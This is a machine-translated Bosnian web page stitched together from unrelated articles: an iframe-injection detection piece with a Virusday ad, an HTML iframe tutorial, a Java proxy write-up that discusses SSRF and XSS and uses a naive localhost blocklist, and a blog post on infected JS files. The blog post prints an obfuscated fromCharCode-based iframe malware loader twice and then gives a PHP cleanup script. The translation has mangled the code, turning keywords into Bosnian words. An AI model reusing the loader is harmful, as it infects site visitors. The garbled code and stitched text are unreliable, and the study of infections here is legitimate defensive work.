Kako umetnuti iframe u HTML: primjer upotrebe. Iframe i Frame - šta su i kako najbolje koristiti okvire u HTML-u Promjena relativnih URL-ova u apsolutne u kodu stranice

Jedan od najčešćih načina da se zarazi računar posjetitelja web stranice je iskorištavanje ranjivosti povezane s prelivom bafera korisničkog pretraživača. Recept je prilično jednostavan. Napadači ubacuju zlonamjerni kod umetanjem iframe-ova u stranice web stranice i pokušavaju preuzeti zlonamjerne datoteke na računalo korisnika koji ništa ne sumnja. Vrlo je lako otkriti takve zlonamjerne umetke na vašim web stranicama. Samo morate obratiti pažnju na fragmente koda koji koriste iframe vezu. Takvi umetci mogu biti u HTML i PHP datotekama.

Napadači gotovo uvijek pokušavaju da sakriju korištenje zlonamjernih opklada što je više moguće od vlasnika, skrivajući ih vizualno za korisnike resursa i zamaskivajući (zamaskivajući) njihov kod.

Skrivanje iframe umetaka od očiju korisnika

Da bi prikrili zlonamjerni umetak, hakeri u većini slučajeva koriste istu metodu iznova i iznova - postavljaju svojstva oznake tako da se ne prikazuje na stranici, već je sadržana u njenom kodu. Najčešće se širina i dužina postavljaju na nulu ili jedan piksel: width="1px", height="1px".

Na primjer, zlonamjerni kod može izgledati ovako:

Međutim, često se hakeri ne ograničavaju na takvo prerušavanje, dopunjujući prikrivanje sofisticiranijim tehnikama koje mogu zbuniti i zakomplicirati pretragu i eliminaciju čak i za napredne programere.

Obfuscation

Ovo je jedna od najčešćih metoda zaštite koda u programiranju na nestrukturiranim jezicima (kao što je, na primjer, PHP). U stvari, sva enkripcija se svodi na miješanje/maskiranje samog koda promjenom imena varijabli i drugih elemenata. Kao rezultat toga, prilično je teško prepoznati znakove zlonamjernosti u zamagljenom kodu i moguće je samo na osnovu indirektnih znakova eksplicitne upotrebe posebnih JS (JavaScript) funkcija koje se koriste posebno za zamagljivanje: unescape , fromCharCode .

Međutim, otkriće zamagljenog koda na web stranici ne znači da je definitivno štetan ili da ga je lako ukloniti. Morate shvatiti da, kao prvo, napadači mogu zamaskivati ​​kod, također uhvatiti dio radnog koda web-mjesta. U ovom slučaju, kada pokušate izrezati šifrirani fragment, rizikujete da srušite svoj resurs. Drugo, zamagljeni kod možda nije zlonamjeran, već samo posljedica rada vašeg CMS-a ili njegovih pojedinačnih komponenti, kao i dodatnih modula koje ste instalirali.

U svakom slučaju, ako naiđete na sumnjivi zamagljeni kod, morate djelovati s najvećom pažnjom.

Ostali znaci infekcije

Ako sumnjate da je kod koji ste pronašli zlonamjeran, možete pokušati analizirati indirektne znakove. Ako imate veliki broj datoteka na vašoj web lokaciji, možda biste trebali obratiti pažnju na datum i vrijeme poslednja promena datoteke. Ako dobro poznajete scenarije kako vaš CMS radi s datotekama, možete detaljnije pogledati datoteke promijenjene na isti datum u isto vrijeme ili sa promjenama koje se dešavaju u istom vremenskom intervalu, na primjer, 1 sekundu.

Ako ste napredni programer, možete napisati skriptu koja provjerava prisustvo vrste umetanja koje ste otkrili u svim datotekama na vašoj web lokaciji. Ako ste još napredniji, možete natjerati skriptu da izrezuje umetke, međutim, uvijek morate biti oprezni.

Alternativne metode

Preporučujemo vam da koristite uslugu Virusday za uklanjanje zlonamjernih umetaka čak i ako ste napredni stručnjak. Naš servis ne samo da sadrži mnogo potpisa koji se mogu koristiti za pronalaženje zlonamjernih kodova, već štedi i vrijeme! Osim toga, cijena korištenja Virusdaya za čišćenje će vjerovatno biti mnogo niža od plaćanja vašeg vremena. Moći ćete otkriti i ukloniti ne samo iframe umetke, već i mnoge druge prijetnje. Vjerovatno ćete moći pronaći i automatski ukloniti prijetnju koja je uzrokovala da se iframe umetci pojavljuju na vašoj web lokaciji, kao što je Shell.

Virusday servisni tim.

U zoru izgradnje web stranica, web resursi su naširoko koristili okvire za prikaz pojedinačnih dijelova stranica. Ali sa dolaskom nova verzija HTML 5 je promijenio sve. Markup elementi , i su zastarjeli. Zamijenjene su jednom oznakom - . Kako dodati u html? Primjer u nastavku bit će jasan čak i početniku u programiranju.

Šta su okviri?

Okvir je osnova većine prvih web stranica. Ako se doslovno prevede, ova riječ znači "okvir", odnosno okvir je mali dio stranice u pretraživaču. Široka upotreba okvira u prošlosti može se objasniti niskim kvalitetom i visokim troškovima internetskog saobraćaja. U pravilu, stranica je bila podijeljena na 3-5 dijelova, od kojih je svaki služio određenoj namjeni:

  • “header” (gornji okvir duž širine stranice) - prikazuje naziv resursa;
  • lijevo/desno “staklo” - prikaz menija;
  • Centralni okvir je prikaz sadržaja stranice.

Podjela stranice na dijelove omogućila je preopterećenje samo određenog dijela prilikom ažuriranja. Na primjer, korisnik je kliknuo na stavku menija, a novi sadržaj je preuzet u središnji okvir.

Moderni okviri u HTML 5

Zašto je to potrebno u HTML-u? Primjer je umetanje sadržaja iz izvora treće strane. Klasična situacija je kada web programer želi prikazati lokaciju objekta na karti. Sta da radim? Nacrtati plan lokacije od nule? Ne – postoji jednostavnije rješenje: ugradite Google Map, Yandex Maps ili 2GIS element na stranicu. Problem se rješava u četiri koraka.

  • Morate otići na web stranicu bilo kojeg servisa za mapiranje.
  • Pronađite željeni objekat. Kada saznate tačnu adresu, možete je uneti u prozor za pretragu.
  • Koristeći dugme „Sačuvaj i preuzmi kod“ (za Yandex.Mape) ili „Gotovo“ (za google mape) dobiti kod za ugradnju.
  • Sve što ostaje je da unesete generisane oznake za označavanje na stranicu.
  • Osim toga, možete odabrati veličinu karte i konfigurirati druge opcije prikaza.

    Kako ga drugačije možete koristiti u HTML-u?? Primjer je umetanje video materijala sa Youtube resursa. Multimedijalne tehnologije privlače korisnike interneta, zbog čega je video sadržaj toliko popularan. Programer će brzo obaviti instalaciju videa.

  • Trebalo bi da otpremite svoj video na Youtube ili da pronađete fajl treće strane za emitovanje.
  • Dobijte oznaku odabirom dugmeta "HTML Code".
  • Posljednji korak je lijepljenje u . Primjer rezultirajućeg sadržaja oznake bit će razmotren u nastavku.
  • Oba primjera su koristila automatsko generiranje koda, ali profesionalni programeri bi trebali biti u mogućnosti da sami pišu kod. Prvo, to će im omogućiti da razumiju izgled stranice i, ako je potrebno, izmijene ga. Drugo, označavanje elemenata stranice (iako pripadaju vanjskom resursu) nije uvijek formirano bez sudjelovanja webmastera. Ovdje dolaze do izražaja visoke kvalifikacije programera.

    Sintaksa

    Dakle, prije nego što počnete da postavljate stranicu, morate razmotriti iframe (html) oznaku: šta je to i kako je pravilno koristiti.

    Prije svega, treba napomenuti da je oznaka uparena. Između elemenata otvaranja i zatvaranja određujete sadržaj koji će biti prikazan u pretraživačima koji ne podržavaju ovaj markupni element. Glavni atributi oznake:

    • širina(širina);
    • visina (visina);
    • src (adresa preuzetog resursa);
    • align(metoda poravnanja);
    • frameborder;
    • dozvoljeno na celom ekranu.

    Dakle, kod za . HTML primjer je u cijelosti prikazan u nastavku:

    U gornjim oznakama dovoljno je zamijeniti adresu web-mjesta bilo kojom drugom i, ako je potrebno, prilagoditi veličinu okvira.

    Element

    Okviri

    šta to radi?

    Kako umetnuti stranicu u HTML stranicu? Da biste to učinili, trebate koristiti , koji kreira inline okvir u trenutnom dokumentu u kojem je prikazan drugi HTML dokument.

    Display

    Blok ekrana.

    Primjer koda

    Snažan, ali jednostavan za korištenje

    U stara loša vremena web dizajna, bilo je mnogo elemenata koji su uništili život svakog programera. Gotovo uvijek su bili loš pristup dizajnu. Srećom, element je zastario u HTML5. Ali ili "inline frame" je još uvijek dostupan. Hoće li biti zastarjela u sljedećoj verziji? Možda bismo to trebali izbjegavati? Postoji nekoliko valjanih upotreba ovog elementa prilikom kreiranja HTML stranice. Ali morate razumjeti šta je to i kako funkcionira da biste izbjegli greške.

    Sličnosti i razlike i

    Oba ova elementa vam omogućavaju da kreirate poseban HTML dokument. Veza do sadržaja dokumenta na koji referencira trenutna web stranica navedena je u atributu src.

    . . . . . .

    Glavna razlika između i je u tome što primjenjuje pravilo da HTML dokument ima prednost. Sadržaj se prikazuje unutar elementa koji je dio trenutnog dokumenta. Kao primjer, uzmite u obzir ovaj ugrađeni video preuzet sa YouTube-a:

    Video je jasno na HTML stranici, a ne na nekima zaseban panel. element je razbio ovu paradigmu i omogućio dokumentu da vrši kontrolu nad prozorom pretraživača, razbijajući ga na nekoliko malih panela (okvirova), od kojih svaki prikazuje poseban dokument. Sve ostale razlike između i proizlaze iz ove osnovne razlike.

    Nemojte prepravljati rasporede zasnovane na okviru pomoću iframe-ova

    Jednog dana ćete se možda suočiti sa zadatkom ažuriranja stare web stranice koja je napravljena pomoću okvira. Možda ćete htjeti koristiti raspored fiksne širine da ponovo stvorite istu noćnu moru nezavisnih panela i pragova. Ali nećete moći koristiti ciljni atribut da otvorite vezu u zasebnom okviru. Možete početi tražiti JavaScript rješenja. Molim te, ne radi to.

    Dobra (i užasna) upotreba

    Postoji nekoliko validnih slučajeva upotrebe za Kreiranje HTML-a stranice:

    • ugrađivanje medijskog sadržaja trećih strana;
    • ugrađivanje vlastitog medijskog sadržaja kroz višeplatformski dokument;
    • primjeri koda za ugrađivanje;
    • ugrađivanje “apleta” trećih strana kao oblika plaćanja.

    Evo nekoliko užasnih slučajeva upotrebe:

    • Foto galerija;
    • forum ili chat.

    Ako trebate da ugradite nezavisne, već postojeće HTML dokumente u trenutni, koristite . Ako sve gradite od nule, nema razloga da dijelite dizajn stranice na više zasebnih dokumenata. Pogotovo ako zapravo nisu samostalni sadržaji.

    iframe atributi
    Naziv atributa Značenje Opis
    sandbox Dozvoli-istog porijekla
    Dozvoli navigaciju odozgo
    Dozvoli-obrasci
    Dozvoli skripte
    Postavlja brojna ograničenja za sadržaj učitan u okvir. Postavite prije kreiranja HTML stranice.
    skrolovanje da ne auto Određuje da li da se pomiču u okviru ili ne. Zastarjelo u HTML5. Umjesto toga koristite CSS.
    Ime Ime Određuje naziv okvira.
    Poravnajte lijevo desno gore
    srednje dno
    Određuje poravnanje okvira u odnosu na okolne elemente. Zastario je. Umjesto toga koristite CSS.
    frameborder da (ili 1)
    br
    Koristi se za omogućavanje prikaza ivice oko okvira. Zastarjelo u HTML5. Umjesto toga koristite CSS.
    longdesc URL Koristi se za određivanje URL-a stranice koja sadrži dug opis sadržaja okvira. Zastario je. Umjesto toga koristite CSS.
    marginwidth piksela Koristi se za kontrolu širine dopuna od sadržaja do ivice okvira. Zastario je. Umjesto toga koristite CSS.
    src URL Određuje URL dokumenta za prikaz u IFRAME-u.
    vspace piksela Postavlja vertikalne margine od okvira do okolnog sadržaja. Zastario je. Umjesto toga koristite CSS.
    širina piksela % Definira širinu okvira po HTML stranica.

    Ova publikacija je prijevod članka “, koji je pripremio prijateljski projektni tim

    Napravili smo analogni alat Google Webmaster Marker. Dozvolite mi da vas podsjetim da je Marker alat na Google Webmaster računu koji vam omogućava da označite svoje stranice Open Graph oznakama. Da biste to učinili, jednostavno odaberete dio teksta na stranici pomoću miša i označite da je ovo naslov, a ovo ocjena. Vaša stranica se učitava u iframe na računu webmastera.

    Sada Google, nakon što je naišao na sličnu stranicu na vašem sajtu, već zna kakav sadržaj se na njoj objavljuje i kako da ga lepo raščlani u njegovu suštinu (članak, proizvod, video..)

    Trebala nam je slična funkcionalnost. Činilo se da je zadatak jednostavan i isključivo na strani klijenta. Međutim, u praksi, rješenje leži na raskrsnici klijentske i serverske („čisti“ JS programeri možda ne znaju ništa o raznim proxy serverima i treba im jako dugo da pristupe projektu). Međutim, na internetu nisam našao članak koji bi opisao cijelu tehnologiju od početka do kraja. Takođe bih želeo da se zahvalim korisniku BeLove i našim čuvarima na pomoći.

    U našem slučaju, željeli smo da webmaster može jednostavno (klikom miša) dobiti xPath vrijednost za određene elemente na svojoj stranici.

    Iframe “Isto porijeklo” I tako u našem admin panelu osoba mora unijeti URL stranice svog sajta, mi ćemo ga prikazati u iFrame-u, osoba će pokazati mišem gdje je potrebno, dobićemo traženi xPath. Sve bi bilo u redu, ali nemamo pristup sadržaju stranice sa druge domene učitanoj u iframe u našem admin panelu (naša domena), zbog sigurnosne politike pretraživača.CORS - Unakrsno dijeljenje resursa Neki ljudi su me savjetovali koristiti CORS. Moderna tehnologija koja rješava mnoge probleme s pristupom sadržaju s druge domene u pretraživaču i omogućava vam da zaobiđete ograničenja politike istog porijekla.
    Stranica koja želi dati pristup svom sadržaju na stranicama tuđe domene jednostavno upisuje u http zaglavlje:
    Access-Control-Allow-Origin: http://example.com
    I u naslovu http zahtjev dolazi sa stranice druge domene iz pretraživača, trebalo bi da postoji polje porekla:
    Porijeklo: www.mysupersite.com
    Jasno je da sam pretraživač dodaje polje porekla zahtevu. Pogledajmo članak o Habréu i vidimo da moderni pretraživači dodaju Origin čak i na zahtjev za istu domenu:

    Kako god:

  • Pretraživač ne ukazuje na porijeklo u zaglavlju zahtjeva za stranicu koja se učitava u iframe (može li neko objasniti zašto?)
  • ne želimo tražiti od webmastera da specificiraju zaglavlje Access-Control-Allow-Origin
  • Iframe sandbox Još jedna moderna tehnologija. Sandbox je atribut Iframe oznake. Jedna od vrijednosti ovog atributa može se postaviti na dopusti-same-origin. Pre nego što sam počeo da kopam po ovoj temi, nisam znao šta tačno ovaj atribut služi, ali je zvučalo veoma primamljivo. Međutim, atribut sandbox jednostavno ograničava ono što stranica učitana u iframe može učiniti i nema nikakvog uticaja na problem pristupa sadržaju okvira iz nadređenog dokumenta.

    Konkretno, vrijednost dopusti isto porijeklo (ili bolje rečeno, njeno odsustvo) samo govori da iframe uvijek treba smatrati učitanim sa strane domene (na primjer, ne možete poslati AJAX zahtjev na domenu matičnog dokumenta)

    Hajde da vidimo kako je to Google uradio Vreme je da vidimo koliko je to uradio veliki brat

    Obratimo pažnju na src atribut iframe elementa: src="https://wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007....." - naša stranica se učitava u admin panel sa Google domena. Dalje, to je još teže: čak i skripte i slike u izvornom dokumentu se pokreću preko proxyja. Svi src, href... su zamijenjeni u html-u sa proksija. Ovako nešto:

    Svi resursi koje vaša stranica koristi također se pohranjuju na Google proxy serverima. Evo naše na primjer.

    CGIProxy? Odmah se činilo da da biste učinili istu stvar, morate podići punopravni proxy kao što je CGIProxy. Ovaj proxy server radi otprilike istu stvar kao i Google-ov wmthighlighter.googleusercontent.com
    Posjetite URL skripte da započnete sesiju pregledavanja. Jednom kada dobijete stranicu preko proxyja, sve na što povezuje automatski će proći kroz proxy. Možete označiti stranice na koje pretražujete, a vaše oznake će proći kroz proxy kao i prvi put. Vaš vlastiti proxy! Međutim, ako suzite zadatak, pisanje jednostavnog proxyja je mnogo lakše. Činjenica je da Google to radi, slanje cijelog sadržaja stranice putem proxyja uopće nije potrebno. Samo nam je potreban html bilo koje stranice da bi se servirao sa naše domene, a resursi se mogu učitati sa originalne domene. Za sada smo odbacili HTTPS.
    Ovdje nema potrebe za super performansama ili praktičnim postavkama, a to se može uraditi brzo i koristeći bilo šta, od node.js do php-a. Napisali smo servlet u Javi Preuzmite stranicu Šta treba da radi proxy servlet? Koristeći parametar get, dobijamo url stranice koju treba učitati, a zatim preuzimamo stranicu.

    Obavezno odredite kodiranje stranice (putem http odgovora ili skupa znakova u html-u) - naš proxy mora odgovoriti istim kodiranjem kao i stranica koju smo učitali. Također ćemo definirati Content-Type za svaki slučaj, iako je jasno da stranicu dobijamo u tekstu/html i vratit ćemo je na isti način.
    konačni string url = request.getParameter("url"); konačni HttpGet requestApache = novi HttpGet(url); konačni HttpClient httpClient = new DefaultHttpClient(); konačni HttpResponse responseApache = httpClient.execute(requestApache); konačni HttpEntity entitet = responseApache.getEntity(); konačni string kodiranje = EntityUtils.getContentCharSet(entity); final String mime = EntityUtils.getContentMimeType(entity); String responseText = IOUTtils.toString(entity.getContent(), kodiranje);
    *Za one koji vole da procenjuju tuđi kod: u našem timu svi imaju iste postavke formatiranja eclicpse koda, a prilikom snimanja fajla, eclipse sam dodaje final svim varijablama ako se ne menjaju nigde drugde. Što je, inače, na kraju prilično zgodno.

    Promjena relativnih URL-ova u apsolutne u kodu stranice Morate proći kroz sve atribute sa src i href na stranici (putevi stilskih datoteka, slika) i zamijeniti relativne URL-ove apsolutnim. U suprotnom, stranica će pokušati da preuzme slike iz nekih foldera na našem proxy serveru, koje mi naravno nemamo. Svaki jezik ima gotove klase, ili možete pronaći isječke koda za ovo na stackoverflow:
    konačni URI uri = novi URI(url); final String host = uri.getHost(); responseText = replaceRelativeLinks(host, responseText); Slanje html-a To je sve, proxy servlet je spreman. Šaljemo odgovor, postavljamo potrebno kodiranje i mimiku.
    protected void sendResponse(HttpServletResponse odgovor, String responseText, String kodiranje, String mime) izbacuje ServletException, IOException ( response.setContentType(mime); response.setCharacterEncoding(encoding); response.setStatus(HttpServlet_OKri); response.getSCWletResponse(). print(responseText); response.flushBuffer(); ) Postavite i testirajte Postavite naš proxy servlet na istu adresu kao i admin panel adminpanel.indexisto.com, učitajte webmasterovu web stranicu u naš iframe preko proxyja i sve probleme između domena nestati.
    Naš proxy radi na
    http://adminpanel.indexisto.com/highlighter?url=http://habrahabr.ru
    - ovako će se čvorište učitavati sa našeg domena. Dajemo ovu adresu u iframe-u i pokušavamo pristupiti DOM stablu čvorišta preko JS-a u admin panelu - sve radi. CSRF naravno neće raditi jer je stranica učitana sa našeg proxyja koji nema kolačiće Problem sa SSRF-om Hajde da učitamo web lokaciju sa „localhost“ adresom u naš iframe - ups, izvoli početna stranica naš nginx. Hajde da probamo neki interni (koji nije vidljiv spolja) resurs na istoj mreži kao i naš proxy server. Na primjer secured_crm.indexisto.com - sve je na svom mjestu.
    Naravno da pokušavamo zabraniti ove stvari u našem proxyju, ako neko pokuša proxy localhost izlazimo bez vraćanja ništa:
    if (url.contains("localhost")||url.contains("127")||url.contains("highlighter")||url.contains("file")) ( LOG.debug("Pokušavam da dobijem lokalni resurs. Url = " + url); return; )
    ali jasno je da ovdje nećemo navesti sve mrežne resurse. To znači da moramo premjestiti proxy u potpuno izolirano okruženje tako da mašina ne vidi ništa osim interneta, sebe i našeg proxyja. Odaberemo mašinu, konfigurišemo i tamo pokrenemo naš servlet XSS problem Učitajmo našu stranicu u naš iframe na kojem ćemo napisati:
    upozorenje("xss")
    Pojavljuje se upozorenje. Nažalost. Ovo se može zaobići s atributom iframe sandbox allow-scripts atributa, ali što je sa starijim pretraživačima koji zapravo ne razumiju ovaj atribut? Možete samo ukrasti svoje kolačiće, ali ih još uvijek ne možete ostaviti takve.
    Servlet premeštamo ne samo na zasebnu mašinu, već mu dajemo i zasebnu poddomenu highlighter.indexisto.com.

    Stigli smo, razbili smo vlastito rješenje zaobilazeći ograničenja između domena. Sada ne možemo ponovo doći do iframe sadržaja.

    Nastavljajući da pronađem rješenje od Googlea, otvorio sam našu stranicu koja se poslužuje preko proxyja u posebnom prozoru

    I primijetio sam čudnu grešku na konzoli.
    CrossPageChannel: Ne mogu se povezati, ravnopravni prozor-objekt nije postavljen.
    Postalo je jasno da je organizacija svega komplikovanija od jednostavnog učitavanja stranice u iframe sa vaše domene. Stranice međusobno komuniciraju. Shodno tome, prelazimo na window.postMessage

    Post Message Bilo je nehumano natjerati webmastera da ugradi našu skriptu u svoju stranicu, čime bi se osiguralo da elementi stranice budu odabrani mišem, a zatim će nam se xPath ovih elemenata poslati u nadređeni dokument putem postMessage-a. Međutim, niko ne sprečava naš proxy da ubaci bilo kakve skripte na stranicu učitanu u iFrame.
    Sve skripte potrebne za implementaciju spremamo u datoteku i ubacujemo ih ispred završnog tijela:
    final int positionToInsert = responseText.indexOf(""); final InputStream inputStream = getServletContext().getResourceAsStream("/WEB-INF/inject.js"); konačni StringWriter writer = novi StringWriter(); IOUTtils.copy(inputStream, pisac); final String jsToInsert = writer.toString(); responseText = responseText.substring(0, positionToInsert) + jsToInsert + responseText.substring(positionToInsert, responseText.length());
    za testiranje ubacujemo upozorenje - sve radi JS dio - označavamo house element ispod miša i dobijamo xpath U redu, idemo na stvarni JS koji smo ubacili na stranicu webmastera.
    Moramo istaći dom elemente preko kojih osoba pomiče miš. Bolje je to učiniti pomoću sjene jer se tada element neće pomjerati i cijela stranica će skočiti. Visimo mišem preko tijela i gledamo u metu događaja. U istom rukovaocu izračunavam xpath elementa. Bolje je izračunati xPath elementa po kliku, ali ni u ovoj implementaciji nisam primijetio usporavanje.
    elmFrame.contentWindow.document.body.onmouseover= function(ev)( ev.target.style.boxShadow = "0px 0px 5px crveno"; curXpath = getXPathFromElement(ev.target); )
    Ovdje ne pružam implementaciju dobivanja xPath DOM elementa. Postoji mnogo isječaka o tome kako to učiniti. Ovi isječci se mogu modificirati tako da odgovaraju vašim potrebama, na primjer, potrebne su vam samo oznake u xpath-u. Ili vam trebaju ID-ovi ako postoje i klase ako nema ID-ova - svako ima svoje zahtjeve.

    Evo primjera proxyja početna stranica Habr sa ugrađenom skriptom:
    http://highlighter.indexisto.com/?md5=6ec7rdHxUfRkrFy55jrJQA==&url=http%3A%2F%2Fhabrahabr.ru&expires=1390468360

    JS dio - obrada klika Klik osobe na stranicu u iframe-u se odmah „ugasi“ (veza u iframe-u neće biti praćena). Također šaljemo niz primljenog xPath u roditeljski prozor (spremili smo ga u fazi pomicanja miša preko elementa)
    document.body.onclick = function(ev)( window.parent.postMessage(curXpath, "*"); ev.preventDefault(); ev.stopPropagation(); ) Profit! To je sve, sada u našem admin panelu webmaster može mnogo lakše dobiti xpath putanje do elemenata na svojim stranicama.

    Da dodamo još malo sigurnosti.Okej, sve nam je uspjelo, ali postoji problem što naš proxy gleda u svijet potpuno nezaštićen. Bilo ko može proxy bilo šta.

    Stavljamo nginx ispred proxyja, on sluša port 80, a sam proxy uklanjamo na drugi port. Zatvaramo sve ostale luke osim 80 iz vanjskog svijeta.

    Sada neka proxy radi samo preko admin panela. U trenutku kada webmaster unese URL svoje stranice, brzo trčimo na server gdje generišemo md5 hash od trenutnog TimeStamp + 1 sat, samog URL-a i super-tajne kada:
    final String md5Me = timeStampExpires + urlEncoded + "SUPERSECRET"; final MessageDigest md = MessageDigest.getInstance("MD5"); md.reset(); md.update(md5Me.getBytes("UTF-8")); String code = Base64.encodeBase64String(md.digest()); code = code.replaceAll("/", "_"); code = code.replaceAll("\\+","-");
    Također imajte na umu da u kodu primamo md5 string ne kao uobičajeni heksadecimalni, već u base64 kodiranju, plus u rezultirajućem md5 pravimo čudne zamjene kose crte i plus znakova podvlakama i crticama.
    Činjenica je da ngnix koristi base64 Filename Safe Alphabet tools.ietf.org/html/rfc3548#page-6
    A Java daje kanonsku base64.

    Nakon što smo dobili odgovor od servera sa sigurnim md5 u našem admin panelu, pokušavamo učitati sljedeći url u iframe:
    highlighter.indexisto.com/?md5=Dr4u2Yeb3NrBQLgyDAFrHg==&url=http%3A%2F%2Fhabrahabr.ru&expires=1389791582

    Sada konfigurišemo nginx HttpSecureLinkModule modul. Ovaj modul provjerava md5 svih parametara koji su mu došli (isti tajni ključ je registriran u modulu kao i u admin servletu), provjerava da li je link raščlanjen i samo u tom slučaju prosljeđuje zahtjev našem proxy servletu .

    Sada niko ne može koristiti naš proxy izvan admin panela, a takođe ne može nigdje umetnuti sliku traženu na naš server - ionako će umrijeti za sat vremena.

    To je sve ljudi! Google je naravno otišao mnogo dalje sa svojim alatom za označavanje. Da biste jasno identificirali element na stranici, morate označiti isti element (na primjer, naslov članka) na nekoliko stranica istog tipa tako da da možete preciznije napraviti xpath i odbaciti različite ID-ove kao što je “post-2334” koji će očito raditi samo na jednoj stranici. U našem admin panelu, za sada xpath treba ispraviti ručno kako bi se dobio prihvatljiv rezultat

    Htjela sam započeti svoj blog stihovima, ali je bila tako turbulentna sedmica da sam odlučila da pozdravim sve sadržajnim člankom. Zdravo!

    I cijela sedmica je prošla u ratovima sa stalnim hakovanjem mog hostinga i zarazom svih JavaScript fajlova sa iframe-ovima, a to je ni manje ni više nego oko 2500 skripti i svih sajtova sa virusima.

    Nisam imao vremena da obrišem sve fajlove u jednom danu. ručni način rada i promijenili lozinke, ali sljedećeg dana se sve ponovilo - lozinke su nekako procurile i skriptama se ponovo uspješno pristupalo preko FTP-a.

    Petak u sedmici je bio posljednja kap i proveo sam dan štiteći svoje servere:

  • Konfigurisan .ftpaccess na serverima - čime se ograničava FTP pristup serverima sa svih IP adresa osim vašeg statičkog;
  • Napisao sam skriptu za automatsko uklanjanje iframe-ova i virusa iz svih .js datoteka. Dakle, redom.
  • Do zaraze fajlova sajta dolazi jednostavnim ubacivanjem iframe koda u fajlove preko ftp-a. Ranije sam češće primećivao umetanja u .php, .html fajlove - što je dovelo do potpunog pada sajtova, danas je malver postao blaži i počeo da piše isključivo inserte u fajlovima sa ekstenzijom .js - JavaScript. IFRAME umetci su napisani na kraju datoteke i mogu biti u eksplicitnom obliku (lako ga detektuju antivirusi) ili u kodiranom obliku (rad raznih iframe kriptora), na primjer:

    try ( q= document.createElement ("u" ) ; q.appendChild (q+ "" ) ; ) catch (qw) ( h=- 012/ 5 ; zz= "a" + "l" ; f= "fr" + "om" + "Ch" ; f+= "arC" ; ) pokušaj ( qwe= prototip ; ) uhvati (brebr) ( zz= "zv" .substr (123 - 122 ) + zz; ss= ; f+= (h ) ? "ode" : "" ; w= ovo ; e= w[ f.substr (11 ) + zz] ; n= "17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$13$58.5$15$5.5$ $55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5" [ ((e) ? "s" : "" ) + "p" + "lit" ] ("a$" .substr; (1 ) (i= 6 - 2 - 1 - 2 - 1 ; i- 684 != 0 ; i++ ) ( k= i; ss= ss+ String .fromCharCode (- 1 * h* (3 + 1 * n[ k] ) ) ; ) q= ss; e(q) ; )

    try(q=document.createElement("u");q.appendChild(q+"");)catch(qw)(h=-012/5;zz="a"+"l";f="fr" +"om"+"Ch";f+="arC";)try(qwe=prototype;)catch(brebr)(zz="zv".substr(123-122)+zz;ss=;f+=(h )?"ode":"";w=this;e=w;n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$13$5$54. .5 $2$59.5 $17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2 -1;i-684!=0;i++)(k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));)q=ss;e(q ;)

    Rezultat je sav ovaj simbolički haos JavaScript radi pretvara se u lako čitljiv HTML kod iframe umetaka i preuzima tijelo virusa korisniku stranice kroz rad eksploatacije. Na osnovu ove minimalne teorije, počet ćemo se štititi od infekcija web stranica.

    Settings.ftpaccess - ograničava FTP pristup serverima

    Virusi koji pljačkaju vaše ftp lozinke su toliko lukavi da su antivirusi često nemoćni i lozinke cure, bez obzira koliko se jako zaštitili. Predlažem da krenete drugim putem - i jednostavno blokirate pristup vašem ftp-u. Da biste dozvolili pristup FTP-u samo sa određenih IP adresa, postavite datoteku .ftpaccess sa sadržajem u korijenski direktorij vašeg servera ili web-mjesta:

    Dozvoli od xx.xx.xx.xx Dozvoli od xx.xx.xx.xx Odbije od svih

    Gdje je xx.xx.xx.xx vaš IP sa kojeg je dozvoljena FTP aktivnost, zbogom svima ostalima.

    Za namjenski IP pozovite svog provajdera!

    Ako i dalje ne možete dobiti namjensku adresu, ali imate dinamičke adrese, tada možete odrediti raspon adresa sa kojih IP adrese izdaje vaš internet provajder, na primjer to će izgledati ovako:

    Dozvoli 212.32.5.0/26 Dozvoli 158.152.0.0/16 Zabrani od svih

    Ovo će ograničiti pristup hakera vašim serverima.

    Skripta za automatsko uklanjanje iz svih iframe datoteka za umetanje

    Nakon što su serveri bili zaštićeni, počeo sam da pišem skriptu koja bi mogla da proveri sajt na viruse i da prođe kroz sve hosting foldere, proveravajući formate datoteka koje sam naveo da li postoje iframeovi u sadržaju. Rezultat rada je sljedeća skripta, koja uklanja umetke zlonamjernog koda sa stranica web stranice, u konkretnom primjeru iz .js skripti:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 $v) ( $virus_text = $GLOBALS [ "virus_start" ] ; $pos_start = stripos ($v , $GLOBALS [ "virus_start" ] ) ; $pos_end = stripos ($v, $GLOBALS [ "virus_end" ] ) ; $ virus_text = substr ($v, $pos_start, $pos_end) ; if ($virus_text != "") ( if (! stristr ($v, $virus_text) ) ) ( $nfile = $v ; ) else ( if (! $ flag ) ( $flag = true ; if (in_array ($ffile, $GLOBALS [ "skip_files" ] ) ) echo " - preskočen" ; else ( echo " - zaražen" ; $GLOBALS [ "num_infected" ] ++; ) ) ) ) else ( $nfile = $v ; ) ) if ( $GLOBALS [ "del" ] ) ( $file = fopen ($filename, "w") ; fwrite ($file, implode ($nfile, "") ) fclose ($file) ; ) ) dir_walk("del_virus" , $dir , array ( "js" ) , true , $dir ) ; echo "Broj inficiranih = $broj_inficiranih " ; ?>

    $v) ( $virus_text = $GLOBALS["virus_start"]; $pos_start = stripos($v, $GLOBALS["virus_start"]); $pos_end = stripos($v, $GLOBALS["virus_end"]); $ virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") ( if (!stristr($v, $virus_text)) ( $nfile=$v; ) else ( if (!$ flag) ( $flag=true; if (in_array($ffile, $GLOBALS["skip_files"])) echo " - preskočeno"; else ( echo " - zaraženo"; $GLOBALS["num_infected"]++; ) ) ) ) else ( $nfile=$v; ) ) if ($GLOBALS["del"]) ( $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")) fclose($file); ) ) dir_walk("del_virus", $dir, array("js"), true, $dir); echo "Broj inficiranih = $broj_inficiranih "; ?>